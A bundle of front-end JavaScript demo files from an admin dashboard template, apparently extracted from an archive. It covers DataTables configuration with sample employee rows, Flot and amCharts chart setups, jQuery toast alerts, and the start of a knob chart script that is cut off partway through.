$(this).hasClass('selected') ) { $(this).removeClass('selected'); } else { table.$('tr.selected').removeClass('selected'); $(this).addClass('selected'); } }); // Plugin data table $.fn.dataTable.Api.register('column().data().sum()', function() { return this.reduce(function(a, b) { var x = parseFloat(a) || 0; var y = parseFloat(b) || 0; return x + y; }); }); /* Init the table and fire off a call to get the hidden nodes. */ var table = $('#dt-plugin-method').DataTable(); $('<button class="btn btn-primary m-b-20">sum of age in all rows</button>') .prependTo('.dt-plugin-buttons') .on('click', function() { alert('Column sum is: ' + table.column(3).data().sum()); }); $('<button class="btn btn-primary m-r-10 m-b-20">sum of age of visible rows</button>') .prependTo('.dt-plugin-buttons') .on('click', function() { alert('Column sum is: ' + table.column(3, { page: 'current' }).data().sum()); }); $.fn.dataTable.ext.type.detect.unshift( function(d) { return d === 'Low' || d === 'Medium' || d === 'High' ? 'salary-grade' : null; } ); $.fn.dataTable.ext.type.order['salary-grade-pre'] = function(d) { switch (d) { case 'Low': return 1; case 'Medium': return 2; case 'High': return 3; } return 0; }; $('#dt-ordering').DataTable(); /* Custom filtering function which will search data in column four between two values */ $.fn.dataTable.ext.search.push( function(settings, data, dataIndex) { var min = parseInt($('#min').val(), 10); var max = parseInt($('#max').val(), 10); var age = parseFloat(data[3]) || 0; // use data for the age column if ((isNaN(min) && isNaN(max)) || (isNaN(min) && age <= max) || (min <= age && isNaN(max)) || (min <= age && age <= max)) { return true; } return false; } ); var dtage = $('#dt-range').DataTable(); // Event listener to the two range filtering inputs to redraw on input $('#min, #max').keyup(function() { dtage.draw(); }); /* Create an array with the values of all the input boxes in a column */ $.fn.dataTable.ext.order['dom-text'] = function(settings, col) { return this.api().column(col, { order: 'index' }).nodes().map(function(td, i) { return $('input', td).val(); }); } /* Create an array with the values of all the input boxes in a column, parsed as numbers */ $.fn.dataTable.ext.order['dom-text-numeric'] = function(settings, col) { return this.api().column(col, { order: 'index' }).nodes().map(function(td, i) { return $('input', td).val() * 1; }); } /* Create an array with the values of all the select options in a column */ $.fn.dataTable.ext.order['dom-select'] = function(settings, col) { return this.api().column(col, { order: 'index' }).nodes().map(function(td, i) { return $('select', td).val(); }); } /* Create an array with the values of all the checkboxes in a column */ $.fn.dataTable.ext.order['dom-checkbox'] = function(settings, col) { return this.api().column(col, { order: 'index' }).nodes().map(function(td, i) { return $('input', td).prop('checked') ? '1' : '0'; }); } /* Initialise the table with the required column ordering data types */ $(document).ready(function() { $('#dt-live-dom').DataTable({ "columns": [ null, { "orderDataType": "dom-text-numeric" }, { "orderDataType": "dom-text", type: 'string' }, { "orderDataType": "dom-select" } ] }); }); // Server side processing Data-table $('#dt-server-processing').DataTable({ "processing": true, "serverSide": true, "ajax": "dt-json-data/scripts/server-processing.php", "columns": [ { "data": "first_name" }, { "data": "last_name" }, { "data": "position" }, { "data": "office" }, { "data": "start_date" }, { "data": "salary" } ] }); $('#dt-http').DataTable({ "processing": true, "serverSide": true, "ajax": { url: "dt-json-data/scripts/server-processing.php", data: function(d) { d.myKey = "myValue"; // d.custom = $('#myInput').val(); // etc } }, "columns": [ { "data": "first_name" }, { "data": "last_name" }, { "data": "position" }, { "data": "office" }, { "data": "start_date" }, { "data": "salary" } ] }); $('#dt-post').DataTable({ "processing": true, "serverSide": true, "ajax": { url: "dt-json-data/scripts/post.php", type: "post" }, "columns": [ { "data": "first_name" }, { "data": "last_name" }, { "data": "position" }, { "data": "office" }, { "data": "start_date" }, { "data": "salary" } ] }); // Data-table ajax $('#dt-ajax-array').DataTable({ "ajax": "dt-json-data/arrays.txt" }); $('#dt-ajax-object').DataTable({ "ajax": "dt-json-data/objects.txt", "columns": [ { "data": "name" }, { "data": "position" }, { "data": "office" }, { "data": "extn" }, { "data": "start_date" }, { "data": "salary" } ] }); $('#dt-nested-object').DataTable({ "processing": true, "ajax": "dt-json-data/objects_deep.txt", "columns": [ { "data": "name" }, { "data": "hr.position" }, { "data": "contact.0" }, { "data": "contact.1" }, { "data": "hr.start_date" }, { "data": "hr.salary" } ] }); $('#dt-orthogonal').DataTable({ ajax: "dt-json-data/orthogonal.txt", columns: [ { data: "name" }, { data: "position" }, { data: "office" }, { data: "extn" }, { data: { _: "start_date.display", sort: "start_date.timestamp" } }, { data: "salary" } ] }); var generatetable = $('#dt-generate-content').DataTable({ "ajax": "dt-json-data/arrays.txt", "columnDefs": [{ "targets": -1, "data": null, "defaultContent": "<button>Click!</button>" }] }); $('#dt-generate-content tbody').on('click', 'button', function() { var data = generatetable.row($(this).parents('tr')).data(); alert(data[0] + "'s salary is: " + data[5]); }); $('#dt-render').DataTable({ "ajax": "dt-json-data/arrays.txt", "deferRender": true }); // Data source table js start $('#dom-table').DataTable(); $('#ajax-table').DataTable({ "ajax": 'dt-json-data/ajax-table.json' }); // Jsource table start var dataSet = [ ["Tiger Nixon", "System Architect", "Edinburgh", "5421", "2011/04/25", "$320,800"], ["Garrett Winters", "Accountant", "Tokyo", "8422", "2011/07/25", "$170,750"], ["Ashton Cox", "Junior Technical Author", "San Francisco", "1562", "2009/01/12", "$86,000"], ["Cedric Kelly", "Senior Javascript Developer", "Edinburgh", "6224", "2012/03/29", "$433,060"], ["Airi Satou", "Accountant", "Tokyo", "5407", "2008/11/28", "$162,700"], ["Brielle Williamson", "Integration Specialist", "New York", "4804", "2012/12/02", "$372,000"], ["Herrod Chandler", "Sales Assistant", "San Francisco", "9608", "2012/08/06", "$137,500"], ["Rhona Davidson", "Integration Specialist", "Tokyo", "6200", "2010/10/14", "$327,900"], ["Colleen Hurst", "Javascript Developer", "San Francisco", "2360", "2009/09/15", "$205,500"], ["Sonya Frost", "Software Engineer", "Edinburgh", "1667", "2008/12/13", "$103,600"], ["Jena Gaines", "Office Manager", "London", "3814", "2008/12/19", "$90,560"], ["Quinn Flynn", "Support Lead", "Edinburgh", "9497", "2013/03/03", "$342,000"], ["Charde Marshall", "Regional Director", "San Francisco", "6741", "2008/10/16", "$470,600"], ["Haley Kennedy", "Senior Marketing Designer", "London", "3597", "2012/12/18", "$313,500"], ["Tatyana Fitzpatrick", "Regional Director", "London", "1965", "2010/03/17", "$385,750"], ["Michael Silva", "Marketing Designer", "London", "1581", "2012/11/27", "$198,500"], ["Paul Byrd", "Chief Financial Officer (CFO)", "New York", "3059", "2010/06/09", "$725,000"], ["Gloria Little", "Systems Administrator", "New York", "1721", "2009/04/10", "$237,500"], ["Bradley Greer", "Software Engineer", "London", "2558", "2012/10/13", "$132,000"], ["Dai Rios", "Personnel Lead", "Edinburgh", "2290", "2012/09/26", "$217,500"], ["Jenette Caldwell", "Development Lead", "New York", "1937", "2011/09/03", "$345,000"], ["Yuri Berry", "Chief Marketing Officer (CMO)", "New York", "6154", "2009/06/25", "$675,000"], ["Caesar Vance", "Pre-Sales Support", "New York", "8330", "2011/12/12", "$106,450"], ["Doris Wilder", "Sales Assistant", "Sidney", "3023", "2010/09/20", "$85,600"], ["Angelica Ramos", "Chief Executive Officer (CEO)", "London", "5797", "2009/10/09", "$1,200,000"], ["Gavin Joyce", "Developer", "Edinburgh", "8822", "2010/12/22", "$92,575"], ["Jennifer Chang", "Regional Director", "Singapore", "9239", "2010/11/14", "$357,650"], ["Brenden Wagner", "Software Engineer", "San Francisco", "1314", "2011/06/07", "$206,850"], ["Fiona Green", "Chief Operating Officer (COO)", "San Francisco", "2947", "2010/03/11", "$850,000"], ["Shou Itou", "Regional Marketing", "Tokyo", "8899", "2011/08/14", "$163,000"], ["Michelle House", "Integration Specialist", "Sidney", "2769", "2011/06/02", "$95,400"], ["Suki Burks", "Developer", "London", "6832", "2009/10/22", "$114,500"], ["Prescott Bartlett", "Technical Author", "London", "3606", "2011/05/07", "$145,000"], ["Gavin Cortez", "Team Leader", "San Francisco", "2860", "2008/10/26", "$235,500"], ["Martena Mccray", "Post-Sales support", "Edinburgh", "8240", "2011/03/09", "$324,050"], ["Unity Butler", "Marketing Designer", "San Francisco", "5384", "2009/12/09", "$85,675"] ]; $('#jsource-table').DataTable({ data: dataSet, columns: [ { title: "Name" }, { title: "Position" }, { title: "Office" }, { title: "Extn." }, { title: "Start date" }, { title: "Salary" } ] }); // Jsource table end // Server side script table start $('#server-table').DataTable({ "processing": true, "serverSide": true, "ajax": "dt-json-data/server-table.php" }); // Server side script table end // Data source table js end // Api table js start var t = $('#add-row-table').DataTable(); var counter = 1; $('#addRow').on('click', function() { t.row.add([ counter + '.1', counter + '.2', counter + '.3', counter + '.4', counter + '.5' ]).draw(false); counter++; }); // Automatically add a first row of data $('#addRow').click(); // Setup - add a text input to each footer cell $('#footer-search tfoot th').each(function() { var title = $(this).text(); $(this).html('<input type="text" class="form-control" placeholder="Search ' + title + '" />'); }); // DataTable var table = $('#footer-search').DataTable(); // Apply the search table.columns().every(function() { var that = this; $('input', this.footer()).on('keyup change', function() { if (that.search() !== this.value) { that .search(this.value) .draw(); } }); }); $('#footer-select').DataTable({ initComplete: function() { this.api().columns().every(function() { var column = this; var select = $('<select class="form-control form-control-sm"><option value=""></option></select>') .appendTo($(column.footer()).empty()) .on('change', function() { var val = $.fn.dataTable.util.escapeRegex( $(this).val() ); column .search(val ? '^' + val + '$' : '', true, false) .draw(); }); column.data().unique().sort().each(function(d, j) { select.append('<option value="' + d + '">' + d + '</option>') }); }); } }); // Add Rows start var srow = $('#row-select').DataTable(); $('#row-select tbody').on('click', 'tr', function() { $(this).toggleClass('selected'); }); $('#row-select-btn').on('click',function() { alert(srow.rows('.selected').data().length + ' row(s) selected'); }); // Add Rows end // Delete rows start var drow = $('#row-delete').DataTable(); $('#row-delete tbody').on('click', 'tr', function() { if ($(this).hasClass('selected')) { $(this).removeClass('selected'); } else { drow.$('tr.selected').removeClass('selected'); $(this).addClass('selected'); } }); $('#row-delete-btn').on('click',function() { drow.row('.selected').remove().draw(!1); }); // Delete rows end // /* Formatting function for row details - modify as you need */ function format(d) { // `d` is the original data object for the row return '<table cellpadding="5" cellspacing="0" border="0" style="padding-left:50px;">' + '<tr>' + '<td>Full name:</td>' + '<td>' + d.name + '</td>' + '</tr>' + '<tr>' + '<td>Extension number:</td>' + '<td>' + d.extn + '</td>' + '</tr>' + '<tr>' + '<td>Extra info:</td>' + '<td>And any further details here (images etc)...</td>' + '</tr>' + '</table>'; } var ct = $('#child-table').DataTable({ "ajax": "dt-json-data/ajax-child-rows.json", "columns": [{ "className": 'details-control', "orderable": false, "data": null, "defaultContent": '' }, { "data": "name" }, { "data": "position" }, { "data": "office" }, { "data": "salary" } ], "order": [ [1, 'asc'] ] }); // Add event listener for opening and closing details $('#child-table tbody').on('click', 'td.details-control', function() { var tr = $(this).closest('tr'); var row = ct.row(tr); if (row.child.isShown()) { // This row is already open - close it row.child.hide(); tr.removeClass('shown'); } else { // Open this row row.child(format(row.data())).show(); tr.addClass('shown'); } }); // Form input start var table = $('#form-input-table').DataTable(); $('#form-input-btn').on('click',function() { var data = table.$('input, select').serialize(); alert( "The following data would have been submitted to the server: \n\n" + data.substr(0, 120) + '...' ); return false; }); // Form input end // Show-hide table js start var sh = $('#show-hide-table').DataTable({ "scrollY": "200px", "paging": false }); $('a.toggle-vis').on('click', function(e) { e.preventDefault(); // Get the column API object var column = sh.column($(this).attr('data-column')); // Toggle the visibility column.visible(!column.visible()); }); // Show-hide table js end // Search API start function filterGlobal() { $('#search-api').DataTable().search( $('#global_filter').val(), $('#global_regex').prop('checked'), $('#global_smart').prop('checked') ).draw(); } function filterColumn(i) { $('#search-api').DataTable().column(i).search( $('#col' + i + '_filter').val(), $('#col' + i + '_regex').prop('checked'), $('#col' + i + '_smart').prop('checked') ).draw(); } $('#search-api').DataTable(); $('input.global_filter').on('keyup click', function() { filterGlobal(); }); $('input.column_filter').on('keyup click', function() { filterColumn($(this).parents('tr').attr('data-column')); }); // Search API end // Api table js end // Styling js start $('#base-style').DataTable(); $('#no-style').DataTable(); $('#compact').DataTable(); $('#table-style-hover').DataTable(); // Styling js end $('#simpletable').DataTable(); $('#order-table').DataTable({ "order": [ [3, "desc"] ] }); $('#multi-colum-dt').DataTable({ columnDefs: [{ targets: [0], orderData: [0, 1] }, { targets: [1], orderData: [1, 0] }, { targets: [4], orderData: [4, 0] }] }); $('#complex-dt').DataTable(); $('#DOM-dt').DataTable({ "dom": '<"top"i>rt<"bottom"flp><"clear">' }); $('#alt-pg-dt').DataTable({ "pagingType": "full_numbers" }); $('#scr-vrt-dt').DataTable({ "scrollY": "200px", "scrollCollapse": true, "paging": false }); $('#scr-vtr-dynamic').DataTable({ scrollY: '50vh', scrollCollapse: true, paging: false }); $('#lang-dt').DataTable({ "language": { "decimal": ",", "thousands": "." } }); var table = $('#dom-jqry').DataTable(); $('#dom-jqry tbody').on('click', 'tr', function() { var data = table.row(this).data(); alert('You clicked on ' + data[0] + '\'s row'); }); $('#colum-rendr').DataTable({ "columnDefs": [{ // The `data` parameter refers to the data for the cell (defined by the // `data` option, which defaults to the column being worked with, in // this case `data: 0`. "render": function(data, type, row) { return data + ' (' + row[3] + ')'; }, "targets": 0 }, { "visible": false, "targets": [3] } ] }); $('#multi-table').DataTable({ "dom": '<"top"iflp<"clear">>rt<"bottom"iflp<"clear">>' }); $('#complex-header').DataTable({ "columnDefs": [{ "visible": false, "targets": -1 }] }); $('#lang-file').DataTable({ "language": { "url": "//cdn.datatables.net/plug-ins/9dcbecd42ad/i18n/German.json" } }); $.extend(true, $.fn.dataTable.defaults, { "searching": false, "ordering": false }); $('#setting-default').DataTable(); var table = $('#row-grouping').DataTable({ "columnDefs": [ { "visible": false, "targets": 2 } ], "order": [ [2, 'asc'] ], "displayLength": 25, "drawCallback": function(settings) { var api = this.api(); var rows = api.rows({ page: 'current' }).nodes(); var last = null; api.column(2, { page: 'current' }).data().each(function(group, i) { if (last !== group) { $(rows).eq(i).before( '<tr class="group"><td colspan="5">' + group + '</td></tr>' ); last = group; } }); } }); // Order by the grouping $('#row-grouping tbody').on('click', 'tr.group', function() { var currentOrder = table.order()[0]; if (currentOrder[0] === 2 && currentOrder[1] === 'asc') { table.order([2, 'desc']).draw(); } else { table.order([2, 'asc']).draw(); } }); $('#footer-callback').DataTable({ "footerCallback": function(row, data, start, end, display) { var api = this.api(), data; // Remove the formatting to get integer data for summation var intVal = function(i) { return typeof i === 'string' ? i.replace(/[\$,]/g, '') * 1 : typeof i === 'number' ? i : 0; }; // Total over all pages total = api .column(4) .data() .reduce(function(a, b) { return intVal(a) + intVal(b); }, 0); // Total over this page pageTotal = api .column(4, { page: 'current' }) .data() .reduce(function(a, b) { return intVal(a) + intVal(b); }, 0); // Update footer $(api.column(4).footer()).html( '$' + pageTotal + ' ( $' + total + ' total)' ); } }); $('#custm-tool-ele').DataTable({ "dom": '<"toolbar">frtip' }); $("div.toolbar").html('<b>Custom tool bar! Text/images etc.</b>'); $('#row-callback').DataTable({ "createdRow": function(row, data, index) { if (data[5].replace(/[\$,]/g, '') * 1 > 150000) { $('td', row).eq(5).addClass('highlight'); } } }); }); widget-data.js000064400000007762151676702320007321 0ustar00'use strict'; $(document).ready(function() { floatchart() $(window).on('resize', function() { floatchart(); }); $('#mobile-collapse').on('click', function() { setTimeout(function() { floatchart(); }, 700); }); var ps = new PerfectScrollbar(".scroll-widget", { wheelSpeed: 10, wheelPropagation: true, minScrollbarLength: 5 }); }); function floatchart() { $(function() { //flot options var options = { legend: { show: false }, series: { label: "", curvedLines: { active: true, nrSplinePoints: 20 }, }, tooltip: { show: true, content: "x : %x | y : %y" }, grid: { hoverable: true, borderWidth: 0, labelMargin: 0, axisMargin: 0, minBorderMargin: 0, }, yaxis: { min: 0, max: 30, color: 'transparent', font: { size: 0, } }, xaxis: { color: 'transparent', font: { size: 0, } } }; $.plot($("#app-sale1"), [{ data: [ [0, 18], [20, 10], [35, 20], [50, 10], [65, 27], [75, 15], [90, 20], ], color: "#ff5252", lines: { show: true, fill: false, lineWidth: 3 }, points: { show: false }, //curve the line (old pre 1.0.0 plotting function) curvedLines: { apply: true, } }], options); $.plot($("#app-sale2"), [{ data: [ [0, 10], [20, 25], [35, 27], [50, 10], [65, 20], [75, 10], [90, 18], ], color: "#448aff", lines: { show: true, fill: false, lineWidth: 3 }, points: { show: false }, //curve the line (old pre 1.0.0 plotting function) curvedLines: { apply: true, } }], options); $.plot($("#app-sale3"), [{ data: [ [0, 18], [20, 10], [35, 20], [50, 10], [65, 27], [75, 15], [90, 20], ], color: "#ffba57", lines: { show: true, fill: false, lineWidth: 3 }, points: { show: false }, //curve the line (old pre 1.0.0 plotting function) curvedLines: { apply: true, } }], options); $.plot($("#app-sale4"), [{ data: [ [0, 10], [20, 25], [35, 27], [50, 10], [65, 20], [75, 10], [90, 18], ], color: "#9ccc65", lines: { show: true, fill: false, lineWidth: 3 }, points: { show: false }, //curve the line (old pre 1.0.0 plotting function) curvedLines: { apply: true, } }], options); }); } chart-amcharts.js000064400000045763151676702320010033 0ustar00"use strict"; $(document).ready(function() { var chart = AmCharts.makeChart("3D_pie_chart", { "type": "pie", "theme": "none", "dataProvider": [{ "country": "Lithuania", "value": 260 }, { "country": "Ireland", "value": 201 }, { "country": "Germany", "value": 65 }, { "country": "Australia", "value": 39 }, { "country": "UK", "value": 19 }, { "country": "Latvia", "value": 10 }], "valueField": "value", "titleField": "country", "outlineAlpha": 0.4, "depth3D": 15, "balloonText": "[[title]]<br><span style='font-size:14px'><b>[[value]]</b> ([[percents]]%)</span>", "angle": 30, "export": { "enabled": true } }); var chart = AmCharts.makeChart("bar_chart", { "type": "serial", "theme": "light", "dataDateFormat": "YYYY-MM-DD", "precision": 2, "valueAxes": [{ "id": "v1", "fontSize": 0, "axisAlpha": 0, "lineAlpha": 0, "gridAlpha": 0, "position": "left", "autoGridCount": false, "labelFunction": function(value) { return "$" + Math.round(value) + "M"; } }], "graphs": [{ "id": "g3", "valueAxis": "v1", "lineColor": "#2ed8b6", "fillColors": "#2ed8b6", "fillAlphas": 0.3, "type": "column", "title": "Actual Sales", "valueField": "sales2", "columnWidth": 0.5, "legendValueText": "$[[value]]M", "balloonText": "[[title]]<br /><b style='font-size: 130%'>$[[value]]M</b>" }, { "id": "g4", "valueAxis": "v1", "lineColor": "#2ed8b6", "fillColors": "#2ed8b6", "fillAlphas": 1, "type": "column", "title": "Target Sales", "valueField": "sales1", "columnWidth": 0.5, "legendValueText": "$[[value]]M", "balloonText": "[[title]]<br /><b style='font-size: 130%'>$[[value]]M</b>" }], "chartCursor": { "pan": true, "valueLineEnabled": true, "valueLineBalloonEnabled": true, "cursorAlpha": 0, "valueLineAlpha": 0.2 }, "categoryField": "date", "categoryAxis": { "parseDates": true, "axisAlpha": 0, "lineAlpha": 0, "gridAlpha": 0, "minorGridEnabled": true, }, "balloon": { "borderThickness": 1, "shadowAlpha": 0 }, "export": { "enabled": true }, "dataProvider": [{ "date": "2013-01-16", "sales1": 5, "sales2": 8 }, { "date": "2013-01-17", "sales1": 4, "sales2": 6 }, { "date": "2013-01-18", "sales1": 5, "sales2": 2 }, { "date": "2013-01-19", "sales1": 8, "sales2": 9 }, { "date": "2013-01-20", "sales1": 9, "sales2": 6 }] }); var chart = AmCharts.makeChart("smoothed_line_chart", { "type": "serial", "theme": "none", "marginTop": 0, "marginRight": 80, "dataProvider": [{ "year": "1950", "value": -0.307 }, { "year": "1951", "value": -0.168 }, { "year": "1952", "value": -0.073 }, { "year": "1953", "value": -0.027 }, { "year": "1954", "value": -0.251 }, { "year": "1955", "value": -0.281 }, { "year": "1956", "value": -0.348 }, { "year": "1957", "value": -0.074 }, { "year": "1958", "value": -0.011 }, { "year": "1959", "value": -0.074 }, { "year": "1960", "value": -0.124 }, { "year": "1961", "value": -0.024 }, { "year": "1962", "value": -0.022 }, { "year": "1963", "value": 0 }, { "year": "1964", "value": -0.296 }, { "year": "1965", "value": -0.217 }, { "year": "1966", "value": -0.147 }, { "year": "1967", "value": -0.15 }, { "year": "1968", "value": -0.16 }, { "year": "1969", "value": -0.011 }, { "year": "1970", "value": -0.068 }, { "year": "1971", "value": -0.19 }, { "year": "1972", "value": -0.056 }, { "year": "1973", "value": 0.077 }, { "year": "1974", "value": -0.213 }, { "year": "1975", "value": -0.17 }, { "year": "1976", "value": -0.254 }, { "year": "1977", "value": 0.019 }, { "year": "1978", "value": -0.063 }, { "year": "1979", "value": 0.05 }, { "year": "1980", "value": 0.077 }, { "year": "1981", "value": 0.12 }, { "year": "1982", "value": 0.011 }, { "year": "1983", "value": 0.177 }, { "year": "1984", "value": -0.021 }, { "year": "1985", "value": -0.037 }, { "year": "1986", "value": 0.03 }, { "year": "1987", "value": 0.179 }, { "year": "1988", "value": 0.18 }, { "year": "1989", "value": 0.104 }, { "year": "1990", "value": 0.255 }, { "year": "1991", "value": 0.21 }, { "year": "1992", "value": 0.065 }, { "year": "1993", "value": 0.11 }, { "year": "1994", "value": 0.172 }, { "year": "1995", "value": 0.269 }, { "year": "1996", "value": 0.141 }, { "year": "1997", "value": 0.353 }, { "year": "1998", "value": 0.548 }, { "year": "1999", "value": 0.298 }, { "year": "2000", "value": 0.267 }, { "year": "2001", "value": 0.411 }, { "year": "2002", "value": 0.462 }, { "year": "2003", "value": 0.47 }, { "year": "2004", "value": 0.445 }, { "year": "2005", "value": 0.47 }], "valueAxes": [{ "axisAlpha": 0, "position": "left" }], "graphs": [{ "id": "g1", "balloonText": "[[category]]<br><b><span style='font-size:14px;'>[[value]]</span></b>", "bullet": "round", "bulletSize": 8, "lineColor": "#d1655d", "lineThickness": 2, "negativeLineColor": "#637bb6", "type": "smoothedLine", "valueField": "value" }], "chartScrollbar": { "graph": "g1", "gridAlpha": 0, "color": "#888888", "scrollbarHeight": 55, "backgroundAlpha": 0, "selectedBackgroundAlpha": 0.1, "selectedBackgroundColor": "#888888", "graphFillAlpha": 0, "autoGridCount": true, "selectedGraphFillAlpha": 0, "graphLineAlpha": 0.2, "graphLineColor": "#c2c2c2", "selectedGraphLineColor": "#888888", "selectedGraphLineAlpha": 1 }, "chartCursor": { "categoryBalloonDateFormat": "YYYY", "cursorAlpha": 0, "valueLineEnabled": true, "valueLineBalloonEnabled": true, "valueLineAlpha": 0.5, "fullWidth": true }, "dataDateFormat": "YYYY", "categoryField": "year", "categoryAxis": { "minPeriod": "YYYY", "parseDates": true, "minorGridAlpha": 0.1, "minorGridEnabled": true }, "export": { "enabled": true } }); var gaugeChart = AmCharts.makeChart("angular_guage", { "type": "gauge", "theme": "none", "axes": [{ "axisThickness": 1, "axisAlpha": 0.2, "tickAlpha": 0.2, "valueInterval": 20, "bands": [{ "color": "#84b761", "endValue": 90, "startValue": 0 }, { "color": "#fdd400", "endValue": 130, "startValue": 90 }, { "color": "#cc4748", "endValue": 220, "innerRadius": "95%", "startValue": 130 }], "bottomText": "0 km/h", "bottomTextYOffset": -20, "endValue": 220 }], "arrows": [{}], "export": { "enabled": true } }); setInterval(randomValue, 2000); // set random value function randomValue() { var value = Math.round(Math.random() * 200); if (gaugeChart) { if (gaugeChart.arrows) { if (gaugeChart.arrows[0]) { if (gaugeChart.arrows[0].setValue) { gaugeChart.arrows[0].setValue(value); gaugeChart.axes[0].setBottomText(value + " km/h"); } } } } } var chart = AmCharts.makeChart("line_chart", { "type": "serial", "theme": "light", "dataDateFormat": "YYYY-MM-DD", "precision": 2, "valueAxes": [{ "id": "v1", "position": "left", "autoGridCount": false, "labelFunction": function(value) { return "$" + Math.round(value) + "M"; } }, { "id": "v2", "gridAlpha": 0, "autoGridCount": false }], "graphs": [{ "id": "g1", "valueAxis": "v2", "bullet": "round", "bulletBorderAlpha": 1, "bulletColor": "#FFFFFF", "bulletSize": 8, "hideBulletsCount": 50, "lineThickness": 3, "lineColor": "#2ed8b6", "title": "Market Days", "useLineColorForBulletBorder": true, "valueField": "market1", "balloonText": "[[title]]<br /><b style='font-size: 130%'>[[value]]</b>" }, { "id": "g2", "valueAxis": "v2", "bullet": "round", "bulletBorderAlpha": 1, "bulletColor": "#FFFFFF", "bulletSize": 8, "hideBulletsCount": 50, "lineThickness": 3, "lineColor": "#e95753", "title": "Market Days ALL", "useLineColorForBulletBorder": true, "valueField": "market2", "balloonText": "[[title]]<br /><b style='font-size: 130%'>[[value]]</b>" }], "chartCursor": { "pan": true, "valueLineEnabled": true, "valueLineBalloonEnabled": true, "cursorAlpha": 0, "valueLineAlpha": 0.2 }, "categoryField": "date", "categoryAxis": { "parseDates": true, "dashLength": 1, "minorGridEnabled": true }, "legend": { "useGraphSettings": true, "position": "top" }, "balloon": { "borderThickness": 1, "shadowAlpha": 0 }, "dataProvider": [{ "date": "2013-01-16", "market1": 71, "market2": 75 }, { "date": "2013-01-17", "market1": 80, "market2": 84 }, { "date": "2013-01-18", "market1": 78, "market2": 83 }, { "date": "2013-01-19", "market1": 85, "market2": 88 }, { "date": "2013-01-20", "market1": 87, "market2": 85 }, { "date": "2013-01-21", "market1": 97, "market2": 88 }, { "date": "2013-01-22", "market1": 93, "market2": 88 }, { "date": "2013-01-23", "market1": 85, "market2": 80 }, { "date": "2013-01-24", "market1": 90, "market2": 85 }] }); var map = AmCharts.makeChart("allocation-map", { "type": "map", "theme": "light", "colorSteps": 10, "dataProvider": { "map": "usaLow", "areas": [{ "id": "US-AL", "value": 4447100 }, { "id": "US-AK", "value": 626932 }, { "id": "US-AZ", "value": 5130632 }, { "id": "US-AR", "value": 2673400 }, { "id": "US-CA", "value": 33871648 }, { "id": "US-CO", "value": 4301261 }, { "id": "US-CT", "value": 3405565 }, { "id": "US-DE", "value": 783600 }, { "id": "US-FL", "value": 15982378 }, { "id": "US-GA", "value": 8186453 }, { "id": "US-HI", "value": 1211537 }, { "id": "US-ID", "value": 1293953 }, { "id": "US-IL", "value": 12419293 }, { "id": "US-IN", "value": 6080485 }, { "id": "US-IA", "value": 2926324 }, { "id": "US-KS", "value": 2688418 }, { "id": "US-KY", "value": 4041769 }, { "id": "US-LA", "value": 4468976 }, { "id": "US-ME", "value": 1274923 }, { "id": "US-MD", "value": 5296486 }, { "id": "US-MA", "value": 6349097 }, { "id": "US-MI", "value": 9938444 }, { "id": "US-MN", "value": 4919479 }, { "id": "US-MS", "value": 2844658 }, { "id": "US-MO", "value": 5595211 }, { "id": "US-MT", "value": 902195 }, { "id": "US-NE", "value": 1711263 }, { "id": "US-NV", "value": 1998257 }, { "id": "US-NH", "value": 1235786 }, { "id": "US-NJ", "value": 8414350 }, { "id": "US-NM", "value": 1819046 }, { "id": "US-NY", "value": 18976457 }, { "id": "US-NC", "value": 8049313 }, { "id": "US-ND", "value": 642200 }, { "id": "US-OH", "value": 11353140 }, { "id": "US-OK", "value": 3450654 }, { "id": "US-OR", "value": 3421399 }, { "id": "US-PA", "value": 12281054 }, { "id": "US-RI", "value": 1048319 }, { "id": "US-SC", "value": 4012012 }, { "id": "US-SD", "value": 754844 }, { "id": "US-TN", "value": 5689283 }, { "id": "US-TX", "value": 20851820 }, { "id": "US-UT", "value": 2233169 }, { "id": "US-VT", "value": 608827 }, { "id": "US-VA", "value": 7078515 }, { "id": "US-WA", "value": 5894121 }, { "id": "US-WV", "value": 1808344 }, { "id": "US-WI", "value": 5363675 }, { "id": "US-WY", "value": 493782 }] }, "areasSettings": { "autoZoom": true }, "export": { "enabled": true } }); var chart = AmCharts.makeChart("allocation-chart", { "type": "pie", "startDuration": 0, "theme": "light", "labelRadius": 0, "pullOutRadius": 0, "labelText": "", "colorField": "color", "legend": { // "enabled":false, }, "innerRadius": "70%", "dataProvider": [{ "country": "Lithuania", "litres": 501.9, "color": "#85C5E3" }, { "country": "Czech Republic", "litres": 301.9, "color": "#6AA3C4" }, { "country": "Ireland", "litres": 201.1, "color": "#6097B9" }, { "country": "india", "litres": 220.1, "color": "#4E81A4" }], "valueField": "litres", }); });alerts.js000064400000005011151676702320006402 0ustar00(function($) { showSuccessToast = function() { 'use strict'; resetToastPosition(); $.toast({ heading: 'Success', text: 'And these were just the basic demos! Scroll down to check further details on how to customize the output.', showHideTransition: 'slide', icon: 'success', loaderBg: '#f96868', position: 'top-right' }) }; showInfoToast = function() { 'use strict'; resetToastPosition(); $.toast({ heading: 'Info', text: 'And these were just the basic demos! Scroll down to check further details on how to customize the output.', showHideTransition: 'slide', icon: 'info', loaderBg: '#46c35f', position: 'top-right' }) }; showWarningToast = function() { 'use strict'; resetToastPosition(); $.toast({ heading: 'Warning', text: 'And these were just the basic demos! Scroll down to check further details on how to customize the output.', showHideTransition: 'slide', icon: 'warning', loaderBg: '#57c7d4', position: 'top-right' }) }; showDangerToast = function() { 'use strict'; resetToastPosition(); $.toast({ heading: 'Danger', text: 'And these were just the basic demos! Scroll down to check further details on how to customize the output.', showHideTransition: 'slide', icon: 'error', loaderBg: '#f2a654', position: 'top-right' }) }; showToastPosition = function(position) { 'use strict'; resetToastPosition(); $.toast({ heading: 'Positioning', text: 'Specify the custom position object or use one of the predefined ones', position: String(position), icon: 'success', stack: false, loaderBg: '#f96868' }) } showToastInCustomPosition = function() { 'use strict'; resetToastPosition(); $.toast({ heading: 'Custom positioning', text: 'Specify the custom position object or use one of the predefined ones', icon: 'success', position: { left: 120, top: 120 }, stack: false, loaderBg: '#f96868' }) } resetToastPosition = function() { $('.jq-toast-wrap').removeClass('bottom-left bottom-right top-left top-right mid-center'); // to remove previous position class $(".jq-toast-wrap").css({ "top": "", "left": "", "bottom": "", "right": "" }); //to remove previous position style } })(jQuery); chart-knob.js000064400000005253151676702320007150 0ustar00"use strict"; $(window).on('resize', function() { $(".dial").knob({ draw: function() { // "tron" case if (this.$.data('skin') == 'tron') { this.cursorExt = 0.3; var a = this.arc(this.cv) // Arc , pa // Previous arc , r = 1; this.g.lineWidth = this.lineWidth; if (this.o.displayPrevious) { pa = this.arc(this.v); this.g.beginPath(); this.g.strokeStyle = this.pColor; 